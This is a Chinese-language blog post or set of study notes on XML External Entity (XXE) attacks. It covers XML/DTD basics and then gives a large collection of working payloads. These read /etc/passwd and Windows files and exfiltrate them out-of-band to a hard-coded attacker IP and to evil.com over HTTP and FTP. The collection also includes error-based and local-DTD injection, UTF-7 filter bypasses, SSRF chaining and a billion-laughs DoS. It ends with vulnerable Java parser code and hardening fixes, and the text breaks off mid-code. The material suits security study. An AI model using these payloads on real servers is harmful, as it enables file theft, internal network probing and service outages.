WEB-XXE

前言

最近先知上看了篇XXE总结的文章,内容不错。整理了一下以前做的笔记复习一下,合成一篇来水一篇。

XML这东西payload感觉还是忘得很快呀,也是方便自己之后回顾吧。

XXE

XXE:XML External Entity attack(XML外部实体攻击)。其实XXE就是攻击者自定义了XML文件进行了执行,已知的最终效果就是读取系统文件或DOS攻击。

理解XXE,其实就是学习XML。

XML&DTD

XML(Extensible Markup Language),全称为可扩展标记语言,是一种传输的数据格式
DTD(Document Type Definition),全称为文档类型定义,是XML文档中的一部分,用来定义元素。

可以参考官方的xml基础教程

XML结构

XML总体是由元素(如<message>)组成。
元素可以额外附加属性,需要提前定义。
元素中可以引用实体,相当于变量,存在内置变量和自定义变量

1
2
3
4
5
6
<!-- 内置变量 -->
&lt; <
&gt; >
&amp; &
&quot; "
&apos; '

1
2
<square width="100" /> &a; </square>
元素 属性 实体

DTD内部文档声明

当DTD存在于XML源文件中,由以下格式进行包裹
<!DOCTYPE 根元素 [元素声明]>
然后XML文件对于DTD的内容进行引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

可以看到在DTD设置了一些变量,然后在xml文档中再使用到这些变量。这就是DTD与XML之间的使用方法。

DTD外部文档声明

从xml文件外部引入DTD:
<!DOCTYPE 根元素 SYSTEM "文件名">

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD声明

DTD中可以

  • 声明元素(标签):<!ELEMENT...
  • 为元素声明属性(标签属性):<!ATTLIST...
  • 声明实体<!ENTITY...

DTD声明元素

  • <!ELEMENT 元素名称 类别>
    • 类别:EMPTY,(#PCDATA),(#CDDATA),ANY
      • PCDATA:会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
      • CDDATA:不会被解析器解析的文本
  • <!ELEMENT 元素名称 (元素内容)>
    • 多个元素内容:(子元素名称 1,子元素名称 2,…..)
    • 元素内容次数:默认只出现一次。
      • 最少出现一个:(子元素名称+)
      • 出现0次或多次:(子元素名称*)
      • 出现0次或1次:(子元素名称?)
      • 或:(message|body)
  • 混合类别和元素内容:
    • <!ELEMENT note (#PCDATA|to|from|header|message)*>

DTD声明属性

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

  • 属性:
    • CDATA 值为字符数据 (character data)
    • (en1|en2|..) 此值是枚举列表中的一个值
    • ID 值为唯一的 id
    • IDREF 值为另外一个元素的 id
    • IDREFS 值为其他 id 的列表
    • NMTOKEN 值为合法的 XML 名称
    • NMTOKENS 值为合法的 XML 名称的列表
    • ENTITY 值是一个实体
    • ENTITIES 值是一个实体列表
    • NOTATION 此值是符号的名称
    • xml: 值是一个**预定义的 XML 值
  • 默认值:
    • 值 属性的默认值
    • #REQUIRED 属性值是必需的
    • #IMPLIED 属性不是必需的
    • #FIXED value 属性值是固定的

DTD声明:

1
2
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">

XML使用:

1
<square width="100" />

DTD声明实体

命名实体(内部实体):<!ENTITY 实体名称 "实体的值">
外部实体:<!ENTITY 实体名称 SYSTEM "URI/URL">
参数实体:<!ENTITY % 实体名称 "实体的值">(只在DTD中有效)
外部参数实体:<!ENTITY % 实体名称 SYSTEM "URI">(只在DTD中有效)

声明外部实体/命名实体时,指定实体的名称及其替代文本。

替代文本可以包含字符实体、命名实体和元素等,但不包含参数实体。

DTD声明:

1
2
3
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<!ENTITY % file SYSTEM "file://c:/windows/win.ini?%other_file;">

XML使用:

1
<author>&writer;&copyright;</author>

参数实体DTD中使用:

1
<!ENTITY % print "<!ENTITY send SYSTEM 'http://x.x.x.x/xxe.xml?c=%file;'>">

XXE分类

  1. 经典XXE:外部实体可以引入
  2. XXE盲注:没有回显或错误信息
  3. 报错XXE:通过报错信息获取
  4. DOS攻击:用于不断循环实体变量,导致内存爆炸。

常用攻击payload

0x01.经典XXE

使用外部实体进行文件读取。
条件:

  1. 可以引用外部实体
  2. 服务器要回显结果
1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<foo>&xxe;</foo>

windows的

1
2
3
4
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>

还可以使用外部参数实体+外部实体进行文件读取。
攻击者发受害者

1
2
3
4
5
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "http://xxxx/evil.dtd">
%xxe;]>
<foo>&evil;</foo>

攻击者远程文件evil.dtd

1
<!ENTITY evil SYSTEMfile:///c:/windows/win.ini" >

这个就绕过了个弯子,没太大意思。

0x02.XXE盲注

使用远程dtd读取外部参数实体外部实体进行文件读取。
条件:

  1. 可以使用外部实体
  2. 可以使用远程dtd读取
  3. 可以使用外部参数实体
  4. 受害者与攻击者远程机网络可达
  5. 需要有远程攻击机放置xml文件以及接受结果

攻击者主机xml文件:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://47.102.137.160:1234/xxe.xml?c=%file;'>">
%print;

这一部构造参数实体 print,再执行得到send命名实体是必要的。命名实体内部不会解析参数实体

攻击者发送payload:

1
2
3
4
<?xml version='1.0'?>
<!DOCTYPE RemoteDTD SYSTEM "http://47.102.137.160:1234/xxe.dtd" >
<!-- 引入&send;即可 -->
<root>&send;</root>

发送payload2(绕一圈引入):

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY % dtd SYSTEM "http://47.102.137.160:1234/xxe.dtd">
%dtd;]>
<comment>
<text>&send;</text>
</comment>

这种盲注存在一个问题就是当读取的文件存在换行符时,读取文件结果只能读取到第一个换行符截止。暂时未找到解决方法。

但是报错注入没有这种问题。

一个疑问

为啥不能不读取远程dtd,只把结果发送至远程?

为什么需要引入外部dtd,不能够只把文件读取结果输出给外部服务器么?

比如:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///c:/tmp/1.txt">
<!ENTITY % send SYSTEM "http://47.102.137.160:1234/xxe.xml?c='%file;'">
%send;
]>
<message>any text</message>

这样子收到的结果就是http://47.102.137.160:1234/xxe.xml?c='%file;',file不会被替换成变量。

比如

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://47.102.137.160:1234/xxe.xml?c=%file;'>">
%print;
]>
<comment>
<text>&send;</text>
</comment>

这样就可以直接在外部读取到file
但事实是不可以的,主要是因为外部DTD允许我们在第二个实体中包含一个实体,但在内部DTD不允许这么做。
可以参考文章
这篇文案还说明了当无法读取到外部dtd文件时,利用本地dtd文件进行参数覆盖,读取文件

2020/04/10更新 三层嵌套实体可绕过部分XML解析器

上面提到之所以需要引入外部实体,是因为内部DTD不允许我们在实体中包含一个实体。

但是在Blind XXE详解与Google CTF一道题分析一文中,作者发现了原本规定是内部DTD不允许我们在实体中包含一个实体,但是库在实现的时候只是不允许双层嵌套而已(也就是前面我们的payload)。

但是三层嵌套就可以了,如下:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % para '
<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;http:///&#x25;para1;&#x27;>">
&#x25;para2;
'>
%para;
]>

这样会由于不存在路径形成报错注入。

baocuo.png

理论上来说应该是可以同样形成盲注的,本地靶机不可以,但是看到别人也是确实时成功的,等实战再试试一下。

盲注payload有点不一样,如下:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % NUMBER '
<!ENTITY &#x25; file SYSTEM "file:///d:/password.txt">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;http://127.0.0.1:8081/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%NUMBER;
]>
<message>any text</message>

0x03.报错注入

其实和盲注一样,只需要最后发送信息至一个不存在的地方就会产生附带路径的报错。
攻击者主机xml文件:

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0.0.M25/XXE/secret.txt">
<!ENTITY % print "<!ENTITY send SYSTEM 'http://xxxx.xx.xx.x/xxe.xml?c=%file;'>">
%print;

攻击者发送payload:

1
2
3
4
<?xml version='1.0'?>
<!DOCTYPE RemoteDTD SYSTEM "http://47.102.137.160:1234/xxe.dtd" >
<!-- 引入&send;即可 -->
<root>&send;</root>

或者使用一个file://协议也可

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % payload SYSTEMfile:///etc/passwd”>
<!ENTITY % param1 ‘<!ENTITY % external SYSTEM “file:///nothere/%payload;”>’> %param1;
%external;

0x04.DOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

0x05.载体的扩展

xml漏洞点不单单是一个参数输入,还可以是依托在其他格式的文件中,比如exel,pptx等。
参考先知文章

  1. 改成zip后缀
  2. 修改\xl\worksheets\sheet1.xml
  3. 插入头,值内插入值
1
2
<!DOCTYPE root [<!ENTITY body SYSTEM "file:///etc/passwd">]>
<c r="C2" s="15" t="s"><v>&body</v></c>

使用oxml_xxe工具进行生成

oxml_xee会形成一个web页面来辅助我们生成含有xxe payload的其他格式文件。

我们可以使用已有的docker来使用,原项目也有dockerfile。

在页面中主要有三种功能,

  1. Build a file:创建一个包含payload的文件,payload将生成在默认位置
    • word:/word/document.xml
    • ppt:/presentation.xml
    • xls:/xl/workbook.xml
  2. String Replace in a File:在文件中替换特定字符串§成为payload。
    • 我们需要打开文件在特定位置输入§,然后上传替换成payload。
    • 在上传文件后下载,需要在特定位置回显的地方可以用到
  3. Overwrite file inside DOCX/ETC.:指定替换固定文件
    • 除了默认位置,还可以修改[Content_Types].xml 、 _rels/下的文件
  4. 还有查看生成文件,上传分析文件格式的功能。

0x06.json格式转换

修改Content-Type: application/jsonContent-Type: application/xml查看服务端是否支持xml解析。

0x07本地DTD文件注入

当目标机器不能访问我们放置恶意DTD文件的服务器,同时又不没有回显不能使用经典XEE时,以上所有办法都会失效。

这时候我们可以引用服务端已经存在的DTD文件,去进行一个DTD文件注入,引入恶意payload。

假设服务器上存在一个sip-app_1_0.dtd:

1
2
3
4

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of">
<!ELEMENT pattern (%condition;)>

在这个已有的dtd文件中,定义了一个 %condition 参数实体,由于参数实体在dtd声明中都是简单的替换再解析,我们可以自定义一个%condition,然后就可以对<!ELEMENT pattern (%condition;)>这个语句进行注入。

如果我们定义了两个同名的参数实体,那么只有第一个参数实体是有效的。

构造如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">

<!ENTITY % condition 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>
<message>any text</message>

对于% 进行了HTML编码

在调用%local_dtd时,sip-app_1_0.dtd才被引入,所以我们定义的%condition实体参数是第一个实体参数。

调用 %local_dtd 就会执行我们拼接进入的语句,从而触发漏洞。

以上只是举个例子,知道原理后这种利用方式的关键在于如何找到对方服务器上可注入的dtd

dtd-finder

2019年7月,有国外大佬已经完美解决了这个问题,戳这里

并提供了工具dtd-finder,工具中具有已知漏洞的dtd列表文件

在测试时只需要遍历存在已知漏洞的dtd文件,查看是否存在,存在的话照着参数利用即可。

除了以上工具中的可注入dtd列表,还有此处额外两个路径

Citrix XenMobile Server

1
2
3
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd">
<!ENTITY % Body '>Your DTD code<!ENTITY test "test"'>
%local_dtd;

Custom Multi-Platform IBM WebSphere Application

1
2
3
4
5
6
7
8
9
10
11
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd">
<!ENTITY % xs-datatypes 'Your DTD code'>
<!ENTITY % simpleType "a">
<!ENTITY % restriction "b">
<!ENTITY % boolean "(c)">
<!ENTITY % URIref "CDATA">
<!ENTITY % XPathExpr "CDATA">
<!ENTITY % QName "NMTOKEN">
<!ENTITY % NCName "NMTOKEN">
<!ENTITY % nonNegativeInteger "NMTOKEN">
%local_dtd;

协议绕过

libxml2 PHP JAVA .NET
file
http
ftp
file
http
ftp
php
compress.zlib
compress.bzip2
data
glob
phar
expect
http
htps
ftp
file
jar
netdoc
mailto
gopher
csp
file
http
https
ftp
  • php协议解析
    `<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=file:///D:/test.txt”>

  • php如果开了PECL上的Expect扩展
    <!ENTITY content SYSTEM "expect://dir .">

  • netdoc协议解析
    <!ENTITY file SYSTEM "netdoc:///var/www/html">

  • jar协议文件上传至临时目录

    jar协议格式:jar:{url}!{path}

    1. 提供错误路径得到报错信息,临时文件目录地址
      jar:http://127.0.0.1:2014/xxe.jar!/1.php(错误路径)
    2. 使用延长返回web服务器,上面存放需要上传的文件,上传后会阻塞住保持临时文件一直存在。
    3. 使用netdoc协议查看临时文件目录下生成的临时文件,获取临时文件名。
    4. 再进行其他操作。

JDK1.6u35 、JDK1.7u7 之后开始恢复对于gopher方案的支持
libxml是PHP对xml的支持

编码绕过

如果服务端存在关键词过滤(如ENTITY),可以使用utf-7编码绕过

1
2
3
4
5
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

转变编码形式为utf-7

1
2
3
4
5
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE ANY +AFs-
+ADwAIQ-ENTITY f SYSTEM +ACI-file:///etc/passwd+ACIAPg-
+AF0APg-
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-
1
2
3
4
5
<?xml version="1.0" encoding="utf-7" ?>
+ADwAIQ-DOCTYPE xxe +AFs
+ADwAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://47.102.137.160:8090/xxe.dtd+ACIAPg
+AF0APg
+ADw-x+AD4AJg-f+ADsAPA-/x+AD4-

解决文件跨行传输——ftp&jdk1.7+

在XXE盲注中,我们也提到通过http协议访问我们的服务器会只获取被读取的文件第一行。

参考XXE OOB exploitation at Java 1.7+这篇文章,在特定情况下我们可以解决这种困境。

在jdk1.7以前,其实是可以通过http协议传输具有换行的文件的。因为java会对换行符进行URL编码然后就访问一个地址。

但是1.7之后,就修复了这个问题,会报错。

但是我们仍然可以用ftp服务器来接受换行文件,因为ftp没有进行类似的限制,换行之后的字符会被当做CWD命令输入。

只要起一个恶意的FTP服务器,其他按照正常的XXE盲注打就好了。

http://evil.com/ext.dtd

1
2
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">

payload:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://evil.com/ext.dtd">
%asd;
%rrr;
]>
<a></a>

最终效果大概如下:

1
2
3
4
5
6
7
8
9
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:

发出的ftp:// url格式也可以使用username:password的形式。

1
ftp://%b:password@evil.com:8000

但是显而易见这要求%b这个文件内容中不包含:不然就会,格式报错。所以还是前者比较好

JAVA组件特性列出目录

网上试验,某些情况下可以通过JAVA组件的特性,来列出文件目录:

盲注XEE+SSRF

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://confluence.company.internal:8090/plugins/servlet/oauth/users/icon-uri?consumerUri=http://my_evil_site/evil.xml">
%ext;
%ent;
]>
<r>&data;</r>

evil.xml

1
2
<!ENTITY % file SYSTEM "file:///root">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

盲注XEE

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "https://xxx.com/a.dtd">
%one;
%two;
%four;
]

a.dtd:

1
2
<!ENTITY % THREE STSTEM "file:///">
<!ENTITY % two "<!ENTITY &#x25; four SYSTEM 'file:///%three;'>">

参考:

https://www.anquanke.com/post/id/222679

https://honoki.net/2018/12/12/from-blind-xxe-to-root-level-file-read-access/

JAVA组件案例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

以下案例均取自参考。

https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#jaxb-unmarshaller

0x01.DocumentBuilder

java组件:javax.xml.parsers.*

组件漏洞代码:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws  Exception {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
Document doc = db.parse(is);
}

修复代码:

1
2
3
4
5
6
7
8
9
10
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
/*以下为修复代码*/ //https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
//禁用DTDs (doctypes),几乎可以防御所有xml实体攻击
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); //首选
//如果不能禁用DTDs,可以使用下两项,必须两项同时存在
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); //防止外部实体POC
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); //防止参数实体POC
/*以上为修复代码*/
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(request.getInputStream());

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// If you can't completely disable DTDs, then at least do the following:
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
// JDK7+ - http://xml.org/sax/features/external-general-entities
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
// JDK7+ - http://xml.org/sax/features/external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// Disable external DTDs as well
FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
dbf.setFeature(FEATURE, false);
// and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks"
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
>..
// Load XML file or stream using a XXE agnostic configured parser...
DocumentBuilder safebuilder = dbf.newDocumentBuilder();

0x02.SAXBuilder

java组件:org.jdom2.input.SAXBuilder

漏洞代码:

1
2
3
4
5
6
7
8
public static void main(String[] args) throws  Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SAXBuilder sb = new SAXBuilder();
Document doc = sb.build(is);
}

修复代码:

1
2
3
4
5
6
SAXBuilder sb = new SAXBuilder();
sb.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sb.setFeature("http://xml.org/sax/features/external-general-entities", false);
sb.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
sb.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
Document doc = sb.build(is);

0x03.SAXParserFactory

java组件:javax.xml.parsers.SAXParser / javax.xml.parsers.SAXParserFactory

漏洞代码:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws  Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(is, (HandlerBase) null);
}

修复代码

1
2
3
4
5
6
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParser parser = spf.newSAXParser();

0x04.SAXTransformerFactory

java组件:javax.xml.transform.sax.SAXTransformerFactory。

漏洞代码:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws  Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
StreamSource source = new StreamSource(is);
sf.newTransformerHandler(source);
}

修复代码:

1
2
3
4
5
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
StreamSource source = new StreamSource(is);
sf.newTransformerHandler(source);

0x05.SAXReader

java组件:org.dom4j.io.SAXReader

漏洞代码:

1
2
3
4
5
6
7
8
public static void main(String[] args) throws  Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SAXReader saxReader = new SAXReader();
saxReader.read(is);
}

修复代码:

1
2
3
4
5
6
SAXReader saxReader = new SAXReader();
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
saxReader.read(is);

0x06.XMLReader

java组件:org.xml.sax.helpers.XMLReaderFactory

漏洞代码:

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.parse(new InputSource(is));
}

修复代码:

1
2
3
4
5
6
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
reader.parse(new InputSource(is));

0x07.SchemaFactory

java组件:javax.xml.validation.SchemaFactory

漏洞代码:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
StreamSource source = new StreamSource(is);
Schema schema = factory.newSchema(source);
}

修复代码:

1
2
3
4
5
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
StreamSource source = new StreamSource(is);
Schema schema = factory.newSchema(source);

0x08.XMLInputFactory

java组件:javax.xml.stream.XMLInputFactory

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws Exception {
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
XMLStreamReader reader = xmlInputFactory.createXMLStreamReader(ResourceUtils.getPoc1());
try {
while (reader.hasNext()) {
int type = reader.next();
if (type == XMLStreamConstants.START_ELEMENT) {//开始节点
System.out.print(reader.getName());
} else if (type == XMLStreamConstants.CHARACTERS) {//表示事件字符
System.out.println("type" + type);
} else if (type == XMLStreamConstants.END_ELEMENT) {//结束节点
System.out.println(reader.getName());
}
}
reader.close();
} catch (Exception e) {
e.printStackTrace();
}
}

修复代码:

1
2
3
4
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
XMLStreamReader reader = xmlInputFactory.createXMLStreamReader(ResourceUtils.getPoc1());

0x09.TransformerFactory

java组件:javax.xml.transform.TransformerFactory

漏洞代码:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws  Exception {
String str = "<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888\">\n" +
"]><doc>&xxe;</doc>";
InputStream is = new ByteArrayInputStream(str.getBytes());
TransformerFactory tf = TransformerFactory.newInstance();
StreamSource source = new StreamSource(is);
tf.newTransformer().transform(source, new DOMResult());
}

修复代码:

1
2
3
4
5
TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");
StreamSource source = new StreamSource(is);
tf.newTransformer().transform(source, new DOMResult());

0x10.Validator

java组件:javax.xml.validation.*

漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws  Exception {
